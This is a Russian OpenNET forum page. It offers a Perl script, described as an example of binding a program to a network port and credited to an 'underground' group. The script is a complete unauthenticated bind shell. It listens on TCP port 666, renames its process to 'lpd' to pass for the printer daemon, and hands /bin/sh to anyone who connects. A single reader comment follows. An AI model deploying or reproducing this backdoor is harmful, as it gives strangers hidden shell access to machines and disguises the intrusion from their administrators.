The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Пример perl скрипта для привязки программы к сетевому порту
Скрипт демонстрирует организацию серверного приложения с
 перенаправдением запросов к определенной программе.

#!/usr/bin/perl

#Y! Underground Group
#code by:Y4Ho
#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
#Email:info@emperorteam.com
#Email:y4ho0_emperor@yahoo.com
#Homepage:www.emperorteam.com
#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
#Ex: ./Y!.pl

use Socket;

$port   = 666;
$proto  = getprotobyname('tcp');
$cmd    = "lpd";
$system = '/bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                                        or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                        or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
                                        or die "bind: $!";
listen(SERVER, SOMAXCONN)               or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
        open(STDIN, ">&CLIENT");
        open(STDOUT, ">&CLIENT");
        open(STDERR, ">&CLIENT");

        system($system);

        close(STDIN);
        close(STDOUT);
        close(STDERR);
}

#EoF
 
11.12.2005 , Автор: Y4Ho , Источник: https://www.opennet.ru/base/linux/11...
Ключи: perl, socket, listen, bind
Раздел:    Корень / Программисту и web-разработчику / Perl / Полезные подпрограммы на Perl / Работа с сетью и IP адресами на Perl

Обсуждение [ RSS ]
  • 1, simple (?), 04:52, 29/12/2005 [ответить]  
  • +/
    А vi /etc/inetd.conf сложнее?
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:




    Спонсоры:
    Слёрм
    Inferno Solutions
    Hosting by Ihor
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2019 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру